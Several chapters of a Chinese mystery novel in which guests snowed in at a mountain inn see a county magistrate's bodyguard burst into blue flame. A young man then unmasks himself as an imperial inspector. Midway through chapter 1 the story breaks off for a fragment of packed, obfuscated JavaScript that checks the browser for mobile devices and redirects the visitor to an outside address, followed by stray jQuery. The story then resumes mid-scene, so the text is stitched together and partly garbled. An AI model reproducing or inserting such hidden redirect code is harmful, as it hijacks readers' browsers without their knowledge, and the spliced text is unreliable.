《三涧雪》 1. 风雪云岫山 长寿元年冬月,虞州晋桑县云岫山。 雪是从昧旦开始下起的。起先只有零星几片似琼花般缓缓飘落,未及半日,至午初时分,已若鹅毛因风起,将整座云岫山都裹了起来。 一位头戴虎皮、颈系狼裘、身着羊绒、腰别弓矢的猎户从山林间踏雪而来,推开了云岫山上唯一一家旅店“云娘店”的大门。 云娘店依山而建,一楼是四四方方的客堂,供客人吃饭,客堂连通后厨,后厨旁边的小楼则是伙计们的住房。二楼借着山势扩展出去,足有一楼的两倍大。客堂上方是雪字房和月字房,扩展出去的地方则是花字房。在花字房的上方还有三间屋,是店里最好的风字房。 猎户名叫张大虎,在进入客堂之前他先抖了抖身上的雪。云娘店内此时炉火正旺,张大虎轻轻眯了眯眼睛,睫毛上雪化成的水珠便顺着颊边流淌了下来,紧接着,他将肩膀上扛着的一头鹿扔在了地上。 账房先生师玄温和张大虎熟稔地打了个招呼。张大虎在客堂内环顾了一圈,发现此时只有一位穿着华贵的中年男人正在用餐。 张大虎仔细辨认了一番,悄声询问师玄温那位是不是富商王嗣,师玄温点了点头,“是啊,王大善人是三天前突然来的,说是与朋友在此有约。” 店小二阿信关上门后走到张大虎面前,拎着那头鹿的蹄子看了看,“张大哥你来了,运气不错啊,居然打到一头鹿。前面掌柜的还在说,这雪来得又急又猛,还不知道后面情况怎么样,让我和顺平提前给你准备好房间。今天店里人少,我们还给你收拾了你之前住的那间雪字房。” 张大虎搓了搓手,“谢谢阿信兄弟,那还是老规矩,我住几晚就用几斤鹿肉来抵?”他说话的同时,脸上的络腮胡也在不停地抖动。 不知什么时候,云娘店的掌柜苏云碧悄然出现在了二楼的拐角处。 苏云碧一袭红衣,明眸皓齿,她扶梯而下,整个客堂都瞬间亮堂了起来,“张大哥,你尽管放心住下就是,不用担心旁的。” 张大虎恭恭敬敬地向苏云碧行了个礼,“多谢云娘。” 苏云碧扶住张大虎的胳膊,“张大哥你又来了,阿信,快帮忙把这头鹿拿到后院放好,然后带张大哥回房间……” 正在一旁用膳的王嗣起身走了过来,“这位兄台真是好身手,能在这样的天气打到一头成色这么好的鹿。”他打量了一番那头鹿,“今日能够遇见也是赶巧,不如这样,我出三十两银子,买了你这头鹿。” “眼下我们都被困在这云娘店。”男人边说边对着苏云碧笑了笑,“正好这冬天雪日,还烦请老板娘一会儿安排人将这头鹿处理一下,在下请店内众人一起吃烤鹿肉暖暖身子怎么样?” 听完王嗣的话,苏云碧没有作声,看向张大虎等待他的决定。 张大虎有点犹豫,这笔买卖倒是合理,只是这鹿皮甚是漂亮,他原本想留着自己做成袄子。 王嗣看出张大虎的心思,便又加了五两银子,张大虎最终点了头。 雨雪纷其无垠兮,云霏霏而衔山。①白茫茫的云岫山像是一张摊开的画卷,身着黑衣的少年喜松和他家公子则似水墨般在其间游走。 “上天同云,雨雪雰雰。益之以霡霂,既优既渥,既沾既足,生我百谷。②”此处雪景甚美,独具一格,公子一时兴起,虽然没有酒,但还是和喜松行起了酒令。 年轻的公子剑眉星目,骑着马儿在雪中悠然徐行,见喜松许久也未回复,于是忍不住出声询问,“喜松,你要认输了吗?” 喜松在公子前方两个马身处,他半悬在马上,使劲向前极目眺望,随口答道,“昔我往矣,杨柳依依。今我来思,雨雪霏霏。③” “喜松,你耍赖,这句咱们刚开始的时候你就已经说过了。” 喜松坐回马上,转身来到公子身边,“公子,这雪越来越大了,都快没过马蹄了,还不知道这山上那家客栈要多久才能到呢。咱们要不走快点吧。” 公子轻轻笑了笑,“怎么了,你是担心今晚露宿街头吗?没事儿,客栈嘛,总能找到的。” “你看看这山中青松,覆雪而立,坚韧挺拔,直上青云,如此良辰美景,若能月下对酌,抚琴敲棋,岂不快哉?” 喜松立刻躲得远远地摇头,“不要不要不要,公子您别忽悠我了。上次我们在安乐县的竹林里您就是这么说的。逍遥倒是逍遥,可我被那不知名的虫子咬的包到现在还没好全呢。还有上上次,我们在黄州登山,您一时兴起晚上要留在山顶看星星,结果星星没看到,倒是淋了一场雨,您还记得那药有多苦吗?今儿天这么冷,我可不想再和您一起在野外过夜了。” 公子想起当时情景,大笑两声,继续忽悠道“喜松,你年纪还小,要知道,这世间之事,想要得到就须得有付出,虽然我们付出了一点点的代价,但收获了美景和新奇的体验不是吗?” 喜松生怕公子再说几句,自己就又要动摇了,于是堵住耳朵策马前行。看着他落荒而逃的样子,公子在后面笑得更加肆意。 天色昏昏沉沉的,让人辨不清时间。不知过了多久,喜松终于看到前方有似有烟火,于是连忙上前。 还未进入客堂,公子和喜松便闻到了烤肉的香味。主仆二人的眼睛亮了亮,“喜松,看来我们两个运气还是不错的。” 客堂内,大厅正中央摆放着炉火,店内众人于两旁围坐。苏云碧在席间又加了张桌子,公子和喜松向店内众人行过礼之后便于尾座落坐。 宴会的主人王嗣坐在主位,公子和喜松进门时他正在安慰坐在他左侧的一位看起来郁郁不得志的后生。“成峰兄弟,大丈夫志存高远,怎可为一个女子这般丧气。天涯何处无芳草啊。” 阿信悄悄告诉主仆二人,这位杨远公子被心上人给拒绝了,所以来此散心。 见这主仆二人被安置妥当,王嗣拍了拍杨远的肩膀,然后端着酒杯上前欢迎,“在下王嗣,不知这位兄台怎么称呼,外面天寒地冻,不如先喝杯热酒暖暖身子吧。” 公子接过王嗣递过来的酒杯,“在下商隐之,年关将近,欲往丰州拜访好友,今日路过此地,山中雪景醉人,不觉多留恋了一会儿。此刻前来,叨扰诸位了。” “哪里哪里。”王嗣连忙摆了摆手,“分明是赶巧和缘分。” 见商隐之杯中酒尽,王嗣又让身边的侍从杜仲给商隐之添了一杯酒,“今日我做东,隐之兄弟尽管随意。” 商隐之身边坐着的是猎户张大虎,他冲着商隐之点了点头。张大虎对面坐着一位异域女子,女子右侧则坐着云娘店的掌柜苏云碧。 不多时,烤肉既熟,宴席即开,在坐众人举杯共饮,喜松在商隐之耳边小声念叨,“公子,这鹿肉吃起来甚是新鲜,怕是刚打没多久。” 一直不做声只自顾自喝酒吃肉的张大虎突然应了声,“我追这鹿好几天了,今天早上才打到的。” 喜松惊讶地看向张大虎,“大哥好厉害啊。” 张大虎眯着眼睛笑了笑,“多谢抬举。” 就在众人觥筹交错之时,云娘店客堂的门突然被猛地推开了。 先进屋的是两个武夫模样的粗壮男人。这二人一人名唤明武,一人名唤明礼,乃是一母同胞的亲兄弟。兄弟二人如同门神一般一左一右站开,随后一个中年男人从他们中间走了进来。 男人年约四十,身长五尺八,身着常服,气势凌人,高额头,丹凤眼,鼻下生着两缕翘须。 翘须男人的身后跟着一位年轻小姐。小姐身着齐胸襦裙披着裘袄手握暖炉,站在云娘店里回了点暖,原本苍白的面色透出了红,更显明艳娇媚。 看起来,年轻小姐应是翘须男人的女儿。 杨远不小心打翻了酒杯,整个客堂都安静了下来。跟着年轻小姐的丫鬟回身关起门挡住了外面的风雪,最先进来的明武明礼皱起了眉头,“人呢?我家老爷到来怎么没有人上来迎接。 阿信和顺平连忙跑了过去,“几位爷,请问有什么吩咐?” 原本在主位的王嗣起身大笑两声然后迎了上去,“哥哥,你终于来了,就等着你呢。我今天上午恰好收了头鹿,那鹿腿专门给你备着呢。”然后看向翘须男人身后的年轻女子,“素织贤侄这一路上冻坏了吧,快上座喝点鹿血暖一暖,那鹿皮成色不错,正好适合给贤侄做身冬袄。” 王嗣将新来的男人招呼到自己原来的主位上,然后坐在男人左侧为其斟酒切肉,“雪下这么大,我还一直在担心你不上山来了呢。” 翘须男人冷冷一笑,用余光打量着坐中众人,“咱们不是约好了要一起欣赏这云岫山的冬日日出吗?怎么样,看着大雪天,咱们这个约定,还能实现吗?” 王嗣摇了摇头,“怕是实现不了喽。我在这儿一连待了三天都没怎么看见太阳,这雪也不知道什么时候停,若是大雪真的封了山,恐怕就更难了。” 男人抚了抚脸上的翘须,“缘也运也,也罢也罢。” 王嗣让人给坐到了翘须男人右边的素织姑娘倒了杯加了鹿血的热酒,又招呼席间众人继续用膳。 席中气氛这才缓和下来。商隐之刚拿起筷箸,后面突然传来一阵碰撞的声音,回头一看,阿信和顺平不知为何摔倒在了地上。 顺平身侧的明武嗤笑一声,顺平悄悄看了男人一眼,又连忙回过头,一边扶起阿信一边向众人解释,是他和阿信走路不小心。 老板娘苏云碧站了起来,“怎么这样不小心,既然摔了,那你俩去上点药休息一会儿吧,今晚不用出来了,这里我来看着。” 明武和明礼坐到了喜松的旁边,喜松一脸委屈地将脸转向商隐之,商隐之抚了抚喜松的肩膀,“吃快些,我今天一天都在骑马赶路,想早点歇息了。” 喜松点了点头,加快了吃东西的速度。 不到片刻,明武眼睛转了转,突然又笑出了声。喜松眼神谨慎地看了一眼这个在他身边突然发笑的武夫。 明武毕恭毕敬地看向翘须男人,“老爷,就这么干吃,未免无趣,恰好这里有位胡姬,不若请这位她来为老爷舞上一曲助助兴可好?” 翘须男人大笑两声,“那自然是极好的。” 翘须男人看向那位胡人女子,“你叫什么名字?” 胡人女子握紧了裙摆,低着头没有作声。 明礼大声嚷嚷了起来,“我家老爷问你话呢,是听不懂吗。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516297|186232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 胡人女子无奈欠身行礼,“回大人,小女名唤契苾月。” 翘须男人抚着胡须笑了笑,“好名字,那就请契苾月小姐为我们献舞一曲吧。” 契苾月又欠了欠身,“抱歉大人,小女虽为胡人,却自小在洛阳长大,并不擅歌舞。” 翘须男人冷下了脸,明武嗤笑一声,“哪有女子不擅歌舞的,即使是我汉人女子,也大多略懂一二,难道你是不想跳给我们老爷看吗?” 契苾月连忙摇头否认,“这位大人您多虑了,小女真的只是不擅歌舞,绝没有轻慢大人的意思,不如小女自罚三杯,以表歉意。”说着便仰头连喝三杯,然后将杯底展示给翘须男人看。 见翘须男人还是不悦,契苾月身旁的苏云碧连忙站了起来,“大人,今日您和这位契苾月姑娘都是我店里的客人,就该我把您二位都照顾好了。既然大人想看舞蹈,那不如我来给大人跳一曲何如?” 苏云碧说着来到客堂中央便舞了起来,身姿灵动,宛若游龙。红袖一出,满堂惊艳。 一舞结束,苏云碧缓缓退下。谁料那明武还不肯罢休,“契苾月姑娘,刚才掌柜的已经跳了一遍,都说胡人天生善舞,想必应该已经学会了吧。” 席间众人皆不可置信地看向明武。在主座旁边的王嗣见状主动提议道,“不若我们大家来行酒令吧,这样在座众人都可以参与其中,必然有趣。” 商隐之大声附和,“好啊,还是行酒令有意思,有谁要出题吗?” 席间众人议论了起来,这时明礼打断了大家。“这位契苾月姑娘是胡姬,她连歌舞都不会,能会诗词吗?我看,还是让她跳舞好了。” 契苾月笑了笑,“小女虽然不会歌舞,倒还真略懂一些诗词。” 明武笑了笑,“哎呀,这契苾月姑娘可真有意思,一个胡姬,不会歌舞会诗词。” 商隐之实在看不下去,他正准备起身反斥,这时客堂屏风后面有一位少年公子走了出来。 这位少年公子一副清风明月之姿,声音犹如山间清泉之清冽,“各位大人,今夜大家在此饮酒吃肉,尽兴快哉。此时夜已过半,羹尽肴残,舞曲终了,是所谓过犹不及,不如就此散了吧。” 商隐之这才注意到原来这位少年公子之前一直在屏风后和他的书童对坐窗边,围炉煮雪。 窗户半开着,一支红梅探了进来,红梅白雪,暗香浮动。 明武一拍桌子站了起来,“你是哪冒出来的毛头小子……” “明武。”一直静坐一旁的素织姑娘轻轻出声,那明武和明礼两兄弟便不做声了。“阿爹,今天我们也赶了一天的路,不如早点回房休息吧?” 那年轻女子的声音似呷了一口春桃,“我已经好累了,想必阿爹你也是,回去休息吧,若明日雪停了,我们还要和王叔叔一起去看日出呢。” 男人看着自己的女儿长舒了一口气,“罢了,听你的。余下的事,明日再说。” 男人起身离开坐席,素织姑娘向那位少年公子颔首示意,然后跟着离开。 明武和明礼在离开前,故意将面前的桌子打翻,“哎呀,不下心的,辛苦掌柜的收拾了。” 一段饭了然无味,商隐之回到他的花字房洗了个澡解乏,推门唤喜松帮忙倒水时发现原来那位仗义侠气的少年公子就住在他的隔壁。 “仁弟今日好生仗义,在下佩服。我叫商隐之,不知仁弟如何称呼?” 少年公子向商隐之回礼,“哪里哪里,我只是行了自己该行之事。在下晏熙,幸会。” 一旁的喜松敬佩地看着晏熙,“晏公子你今日好勇敢啊,我以后要多向你学习。”然后他看向晏熙的水灵灵的书童,“你好,我叫喜松,今年十六岁,住在雪字房三号,你呢?” 那书童也向喜松回了礼,“我叫福砚,今年十五岁,住在雪字房二号。” 喜松主动拉起福砚,“那太好了,我俩也住隔壁。不如一会儿你伺候完晏公子之后来我房中吧,我觉得和你甚是投缘,咱们可以互相搓个背,睡前还可以一同夜话。” “不行。”福砚还没来得及回答,晏熙就先帮他拒绝了。 商隐之和喜松都意外地看向他。 晏熙轻咳一声,“我是说,我家小书童他不习惯和别人一同洗澡入睡,从小就是这样的。” 福砚冲着喜松歉意地笑了笑,喜松呆呆愣愣地点了点头。 商隐之拍了拍喜松,“你这小子,平时让你和我一起夜话你怎么不肯。” 喜松嫌弃地看了一眼商隐之,“公子,你平时叫我和你一起去夜话的地方不是荒郊野岭就是深山老林,我哪有您那闲情雅致啊?” “什么荒郊野岭深山老林的,那都是世人尚未发觉的瑰丽美景。”商隐之对于喜松的评价很是不满。 晏熙和福砚没忍住,在一旁被这主仆二人的斗嘴给逗笑出了声。 喜松自觉失礼,“公子您说得对,请问您还有什么吩咐吗?” 商隐之向晏熙行礼告辞,然后气鼓鼓地回了房,“明日午时之前,不许让我看见你。” 夜半,一道蓝色的火焰照亮了整间云娘店,商隐之听到有人惊呼“鬼火”。 2. 云娘店大闹 青山负雪,上下一白。 一夜过去,云岫山雪势不减反增,云娘店后院空地上不久前出现的那一小片焦色的灰烬很快又被覆盖了起来。 夜半时分,许是因为吃的鹿肉有点多,商隐之感到口渴遂起来喝水,却听见后院似有声音响动。 商隐之来到窗前,看见有人只穿着一件单衣赤着脚在院中行走,似乎口中还在念叨着什么。 仔细辨认之后商隐之看出那人是明武。商隐之对此人的印象实在是不好,不知道他这又是想要闹点什么,但无心搭理,于是决定关窗睡觉。 谁知明武发出的声响越来越大,慢慢由低吟变为嘶吼,被他吵醒的人也越来越多,好几扇窗户都被相继推开。 就在大家探头疑惑之际,明武的全身突然着起了蓝色的火焰。 片刻过后,楼下传来一番吵嚷打砸地声音,喜松跑过来告诉商隐之那明武的弟弟明礼要求大家现在立刻全部下楼去。 商隐之躺回床上,表示不想搭理这人。喜松只能一面相劝一面帮商隐之穿衣,“公子啊,咱们还是配合一下吧,我看那明礼的架势,要是有人不下去,他定然是要将这家店给拆了的。还有他家那个大人,脸色阴沉沉地,谱还摆那么大,看样子绝非善类。” “现下大雪封山,要是店被拆了,我们去住哪啊?还有掌柜的云娘和她的那些伙计以及店里的其他客人该怎么办啊?” 喜松帮商隐之扣上腰带,拖着商隐之出了房门,迎面正对上隔壁同样脸色恹恹的晏熙和福砚。 商隐之顿时来了精神,“晏公子,早啊。” 晏熙打了个哈欠,闭着眼睛任由福砚牵着向前走,“哪儿早了,天都还没亮呢。” 商隐之觉得晏熙的样子着实好笑,“刚才后院那一幕,你看见了吗?” 晏熙睁开了眼睛,“别说了,好诡异啊,他怎么突然跟着了魔似的,神神叨叨地就自燃了。” “原本我刚才还挺奇怪到底是怎么一回事儿,但下面那位又吵又闹的,我现在一点儿也不关心了,只想回去睡觉。” 喜松听见晏熙这话,看了一眼自家公子,“晏公子,您和我家公子还真像啊。” 楼梯口,苏云碧正在等着大家下楼,她无奈地一一对众人小声表达了歉意。 客堂内,翘须男人面色铁青地端坐于堂上,明礼则双目赤红地在一旁怒视着众人。 阿信和顺平将被明礼发作时推倒的桌椅一一摆放整齐,供被强迫下楼面色不虞的众人就坐,见人到齐,苏云碧上前询问翘须男人此时唤众人下楼所谓何事。 站在翘须男人身旁的明礼大声怒吼,“刚才我哥哥明武发生了什么你们也都看见了,到底是谁做的?说,是谁,害死了我的哥哥?” 店内众人面面相觑,商隐之和晏熙对视一眼,显然都觉得明礼是在自讨无趣。片刻过后,苏云碧缓缓开口,“大人,不知您是否有听说过山魅阿紫。” 旁边的晏熙一脸疑惑地看向商隐之,眼里带着询问,商隐之摇了摇头,表示他也没听说过。就在苏云碧说话的同时,商隐之注意到翘须男人的瞳孔收缩了一下,紧接着他与明礼还有在一旁喝茶的王嗣飞快地交换了一下眼神。 显然,他们三人都知道苏云碧所说的“山魅阿紫”,但翘须男人却开口否认,“什么山魅阿紫,休得胡言。” 苏云碧摆了摆双手,“大人,小女可没有胡言,山魅阿紫乃是百余年前就存在的山间精怪,尤其喜欢在冬日雪山出没,那个……”苏云碧回头扫视了一圈,然后看向一个昨夜商隐之未曾见到的书生,“怀章兄弟,你是读书人,应当知道山魅阿紫的故事,口才又好,不如你来帮我给这位大人讲讲吧。” 那书生姓齐名澈字怀章,身着青衫,头戴纶巾,容貌清秀,目光沉静。此时时间尚早,且刚刚发生了明武之事,店内众人大多毫无胃口,齐怀章却在专心食用一碟昨夜剩下的鹿肉。 见他吃得如此津甜,商隐之突然感觉自己也有点饿了,于是他小声交代喜松,一会儿这里闹完多给他准备点吃的,还顺便邀请了晏熙和福砚一块去他房间用膳。 突然商隐之想起,晏熙昨天晚上好像并没有和他们一起用膳。“晏兄你昨晚怎么没有和我们一起用膳啊,是不喜欢鹿肉吗?那我让喜松准备点别的。” 晏熙摇了摇头,“非也,只是昨日我那位置雪景甚美,一刻都舍不得错眼罢了。” 见苏云碧寻求帮助,齐怀章放下手中筷箸,用罗帕擦嘴净手,然后起身将故事道来。 “陈贤、王魌者,阳田人也。二人少时,结为兄弟。有日,魌躬耕于田间,遇一美人,自唤阿紫,流离失所,遂结为夫妻。 明年,魌从军,及归,适逢岁除,天降大雪。至家中,紫不复所踪,贤不复与人相应,但啼呼‘阿紫’。夜半,贤焚于青焰。 道士云:‘此山魅也。’”① 故事讲完后齐怀章对着众人微微颔首,随即又回到自己刚才的座位。 “大人,您前面应该也看到了,明武兄弟和故事中的陈贤一模一样,先是浑浑噩噩地喊着‘阿紫’,随后周身便着起了蓝色的火焰。”苏碧云看向后院明武最后自燃的地方,神色不忍。 翘须男人重重地拍了拍桌子,“一派胡言!什么狗屁山魅,分明就是有人作祟。” 苏云碧转过头来看向翘须男人,“小时候,家中父母给我讲那阿紫的故事时,我也不信,只当是他们不想让我在冬日出去玩耍。可刚才我与众人亲眼目睹,又怎能不再相信?明武兄弟那般疯癫模样与蓝色火焰,若不是山魅,又能是什么?” 在客堂的一个角落里,契苾月双目无神,像是还没从明武自燃那一幕的冲击中缓过神来。她是被苏云碧搀扶下楼的,那声“鬼火”便是她喊的。 契苾月缓缓开口,“明武大哥性格刚直,定然是昨日进山之时不小心冲撞了山魅阿紫,才招来报复,如今,也不知你我是否安全。” 猎户张大虎也出声附和,“我出生在这云岫山脚下,山魅阿紫的故事,我是从小听到大的。你们这些外面的人或许不清楚,但山里的人都知道,这云岫山有很多禁忌的,每年都会有不少人消失在这大山之中。” 张大虎顿了顿,“其实我前面一看见明武兄弟的样子,就知道是山魅阿紫来了。这山魅阿紫,最恨不敬大山不敬她的人,我们啊,最好每天睡前都拜一拜。” 云娘店里的几位店员听了,立刻双手合十开始四面作揖。 翘须男人嗤笑一声,“你们这些愚昧的山民,眼里还有没有王法,随便编个故事就想糊弄本官了?你们可知我是谁?我乃本县县令李绍成,尔等好大的胆子,竟敢在本官面前装神弄鬼!” 明礼冲出来一把从人群中拉过契苾月,然后将契苾月推搡至李绍成面前,“大人,我看定是昨夜哥哥让这胡姬给大家跳舞,这胡姬不肯,于是心生恨意,将我哥哥杀害,然后伙同这掌柜、猎户与那书生共同编造故事企图逃脱罪责,好狠毒的一个人啊。大人,我和哥哥打小就跟在您身边,请您一定要为我兄弟二人做主啊。” 此言一出,契苾月、苏云碧、张大虎及齐怀章皆深感震惊与冤枉,余下众人也为明礼的断案速度感到惊讶。 喜松小声在后面说道,“公子,明礼这办案速度,不去大理寺而是做一个小小的贴身侍从真是可惜了。” 契苾月、苏云碧、张大虎齐齐跪在地上大喊冤枉。 商隐之起身向李绍成行礼,“大人,现下情况未明,证据不足,仅凭这几位知道‘山魅阿紫’的故事就推断就将他们定罪,怕是不妥吧。” 明礼气势汹汹地冲商隐之吼道,“就凭你也敢质疑我家大人?如果不是他们,他们几个为什么要编造什么山魅阿紫的故事出来装神弄鬼?” 契苾月拼命辩解,“大人,小女没有装神弄鬼,山魅阿紫的故事在民间流传已久,而且小女是因为真的曾经历过另一番山魅阿紫的故事才如此笃信。” “大约十五六年前,那会儿我还是个小孩子,和父母一同在洛阳生活。那年冬日,有一天下了很大很大的雪,结果第二日,便有个校书郎一家在夜里被蓝色的大火吞噬。当时这件事整个洛阳城都传遍了,人们都说,这校书郎一家前一日刚上过山,定是那时不小心得罪了山魅阿紫。” “大人,此事但凡是十五六年前去过洛阳的人都知道,真的不是小女编造的,请您明察。” 契苾月字字恳切,情真意切,我见犹怜。 李素织于心不忍,“父亲,这位契苾月姑娘到现在还惊魂未定,如若是她干的,何至于如此恐惧?” 一旁的王嗣也将自己手中的茶杯放下,“是啊,我虽不信所谓山魅之说,但若要说这位身单影薄的契苾月姑娘可以杀得了明武,我对此也是有几分怀疑的。昨日大雪封山,这云娘店中除在座诸位绝无旁人进出,凶手必然在我们之中。反正这大雪一日不停,我们便一日不得下山,凶手亦是如此,不如大人您借此机会好好查查吧。” 明礼却不愿意就这样放过契苾月,“可这堂中众人,昨夜唯有这位胡姬与哥哥发生了龃龉,此事定然与她有关,大人,不如先将她关起来吧。” 一向安静话少的福砚忍不住小声吐槽,“他真的确信只有契苾月姑娘不喜欢他们哥俩吗?” 商隐之、晏熙和喜松听见福砚的话后都暗自忍笑。 “明礼。”李素织叫住了明礼,“正如那位商公子所说,眼下情况还不分明,我们连明武到底发生了什么都不清楚,不可以妄自将契苾月姑娘关押。你和明武是看着我长大的,我和爹爹定然会找出真正的凶手,绝对不会让明武枉死的。” 后生杨远也出声劝阻,“是啊,明礼兄弟,若这契苾月姑娘不是凶手,你一直只盯着她,不是放跑了真正杀害你哥哥的人了吗?反正这冰天雪 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晏熙不慌不忙地笑了笑,“明礼兄弟何必这么大的气性,既然大家昨夜同在客栈里,那么不论是谁想下手,机会应当都是一样的吧?而且,我昨夜分明听到你和明武之间似是发生了口角之争,这一点,你有和李大人交代过吗?” “你!”明礼涨红了脸向前一步,福砚和喜松连忙往后拉了一把晏熙和他的椅子,商隐之起身迈步挡在了晏熙身前,“明礼兄弟有话好好说嘛,这是要做什么?” “明礼。”李绍成在堂上悠悠地唤了他一声。 明礼狠狠地剜了一眼晏熙,“大人,他血口喷人。昨夜我和哥哥是有一些口角,但吵了没几句就过去了。您也知道,这种小口角在我兄弟二人之间时常发生,但我俩谁都不会当回事。倒是他,刻意把这件事拿出来说,挑拨我和哥哥的关系,实在是居心叵测,大人你要严查。” “好了诸位。”李素织站了出来制止了这场纷争。“晏公子说得对,我们也同样有嫌疑。为了公平起见,我来和大家介绍一下。堂上这位,是我的父亲,晋桑县县令李绍成。那位是我父亲的贴身侍从,明礼。昨夜意外遇害的,是他的哥哥,明诚。我叫李素织。”她指了指自己身后的丫鬟,“这是我的贴身女仆,秋琴。” 李素织说完后转向晏熙,“晏公子,该你了。” 晏熙向李素织点了点头,他起身走到了走到客堂的正中间,从袖中掏出一本册子。 晏熙将册子展示给众人,“我本名方川渡,乃是圣上钦点的黜陟使。”然后他把册子拍到李绍成面前,“这个案子,还轮不到你来查。” 此言一出,店内众人神色骤变,李绍成和王嗣对视一眼,李绍成不可置信地从自己的座位上站了起来。 “咳咳咳”一阵猛烈地咳嗽声传了过来,是商隐之不小心呛到了自己。 他拍了拍自己的胸口,“黜陟使大人,吓死我了,我还真没想到啊。” 喜松跳了出来,“你既是黜陟使方川渡,之前又为何告诉我们你叫晏熙呢?” 晏熙正色道,“本官奉圣上旨意前来监察地方官员,为防止官员有提前舞弊,故特意低调行事。” “晏熙乃我小字,诸位仍可如此唤我。” 李绍成退到了晏熙的身旁,“早就听闻黜陟使大人少年英才,今日一见,果然年轻。这个案子,请问大人要怎么查,有什么需要下官去做的,下官任凭差遣。” 晏熙打量着李绍成,绕着他转了一圈,“你刚才说你听说本官少年英才,你是从哪听说的?” 李绍成顿时慌乱了起来,再想到刚才明礼对这位黜陟使的不敬之举,还有昨天晚上他们的鲁莽做派,此刻只恨不得将明武明礼两兄弟吊起来打。 但好在他提前为这位黜陟使的到来做过一些准备,就是不知道这位大人愿不愿意接受他们的一番“心意”。 李绍成谄笑道,“道听途说,道听途说。还请大人不要见怪。” 李绍成请晏熙做到他的座位上,晏熙冲着李绍成笑了笑,然后回到了他之前的座位。“既然这件事恰好让本官遇到了,那么不管是山魅做的,还是人做的,我都一定会将它查个清楚。” “那大人你打算从何处查起?”李绍成跟着晏熙走了过去。 晏熙环顾一圈,正襟危坐,“不如,就从县令大人你身边开始吧。” 闹腾了一早上的众人终于得以回房休息。 喜松跟着商隐之去了他的房间,喜松小心翼翼地关上门,“公子,刚才……” 商隐之从胸前掏出一本外表和晏熙手中几乎一模一样的册子,扔在了床上。 喜松拿起册子看了看,确定无误。 “公子,那位晏公子说他是黜陟使‘方川渡’,那我们又是谁啊?” 3. 开审 客堂之中,燃烧着的炉火在轻微作响。 晏熙不慌不忙细细品尝早点,与他对面而坐的李绍成一行人倒是唯有李素织吃得还算安心。 明礼几次想开口催促晏熙,都被李绍成给按了回去。明礼一脸怨怼地看着晏熙,李绍成耳语道,“把你的表情收回去,要是这位不高兴了,到时候我得跟你一块玩完。” 于是明礼强行挂上了笑脸,对面的福砚看见,反倒吓了一跳。 “公子,你胳膊往下点,挡住我了。”喜松用气音在商隐之耳边小声耳语。 “让你平时少吃点,多练练功你不肯听,现在挤不下了吧。”商隐之嫌弃地将自己的胳膊收了回去。 “商公子,您二位声音小一点,不然下面的人要听到了。”张大虎在一旁小声劝架。 从接连的混乱中缓过神来的契苾月准备去接点热水,一推看房门却看见了三个鬼鬼祟祟挤在一起的背影。 百无聊赖的商隐之和喜松偷偷溜出房门藏在二楼栏杆后想看看下面的情况,一抬头,却和对面的张大虎对上了眼。 张大虎那边视线更好,于是商隐之和喜松便蹭了过去。 “咳。”契苾月姑娘轻咳了一声,三个人连忙转过身去。 “我们,在做游戏来着。”商隐之苍白无力地为自己的行为解释了一句。 喜松和张大虎跟着附和,“对对对。”为了增加可信度,喜松还装模做样地对契苾月发出邀请,“月姐姐,你好些了吗?要和我们一起玩吗?” 契苾月冲着喜松笑了笑,然后蹲在了他的身旁,“下面情况怎么样了?” “不清楚,他们现在还在吃东西呢。”喜松将自己掌握的全部情况毫无保留地告诉了契苾月。 “这位新冒出来的黜陟使看起来年纪轻轻,那李县令一看就老谋深算,晏公子真的能从他嘴里问出东西吗?”张大虎有点担心。 “晏公子既能成为黜陟使,想必定有他的过人之处,我相信,晏公子一定可以查出真相。”契苾月看起来倒是对晏熙很有信心。 商隐之和喜松对视一眼,“是啊,我们也相信咱们的黜陟使大人一定可以查出真相。” “要我说啊,其实根本没有调查的必要。我敢肯定,绝对是那明武惹了山魅,你们想想,夜里那个突如其来的鬼火,哪里是人可以做到的,也就是明礼不讲道理,非要胡搅蛮缠。不过晏公子出来杀杀他们的威风还是好的。”张大虎信誓旦旦地说道。 “子不语怪力乱神。世间之事,无论多怪诞离奇,最后定然是人所为。”一道声音从脑后飘了过来,蹲着的四人被吓了一跳,转过身后发现原来是齐怀章。 喜松轻车熟路地再次邀请道,“齐公子,要一起吗?” 齐怀章看了看他们,“非礼勿视,非礼勿听,非礼勿言,非礼勿动。①如此行径,实非君子所为。” 商隐之看着他笑了笑,“那齐公子,你现在要做君子吗?” “诸位,这是在做什么?”苏云碧端着一壶热茶和点心缓缓走来,偷窥四人组连同齐怀章一起被吓了一跳。 “我们……在聊天。”契苾月对着苏云碧笑了笑。 “几位怎么不去房间里聊,这里多冷啊。”苏云碧看起来并不相信。 “因为……因为……”张大虎因为了半天也没想好要说什么。 “因为房间里面太热了。”喜松接上了张大虎的下半句。 苏云碧满脸写着“你们看我很好骗吗?”,她走到几人身边,侧眼一望便什么都明了了。 “云娘,我们大家只是想知道凶手到底是谁而已。”商隐之等人目光恳切地看向苏云碧,希望她不要告发他们几个。 “哪有什么凶手,难道还能抓住山魅不成?”苏云碧叹了口气,转向齐怀章,“怀章兄弟,我可真没想到,你居然也会做这种事情。” 齐怀章百口莫辩,“不是的,云娘,我没有,我刚刚才从房间出来……不信你问他们……” 齐怀章一回头,余下几人皆是一副痛心疾首的表情,直接将他给坐实了。 “我只是上来看看契苾月姑娘有没有好点,顺便问问诸位有没有什么需求。本店也无权干涉客人们的私人行为,既然你们没有什么需求,我就先下去了。有什么需要尽管叫我。”苏云碧将手中的东西放下便离开了。 “你们几个……怎么可以这样?”齐怀章被气道舌头打结,商隐之一把将他拉了下来,“行了,齐公子,既然已经这样了,你就和我们一起吧。” “等等。”齐怀章又站了起来。 “不是吧齐公子,你真的不好奇他们在说些什么吗?”喜松一脸不解。 “不是。”齐怀章红了红脸,“我房间还有一些煿豆,我拿出来咱们一起吃吧。” “我房间里有蜜饯,我也去拿出来。”契苾月也站了起来。 商隐之拍了拍喜松,“喜松,你去把咱房间那些果脯都拿出来吧。” “我有些胡饼,我也去拿。”张大虎也紧跟其上。 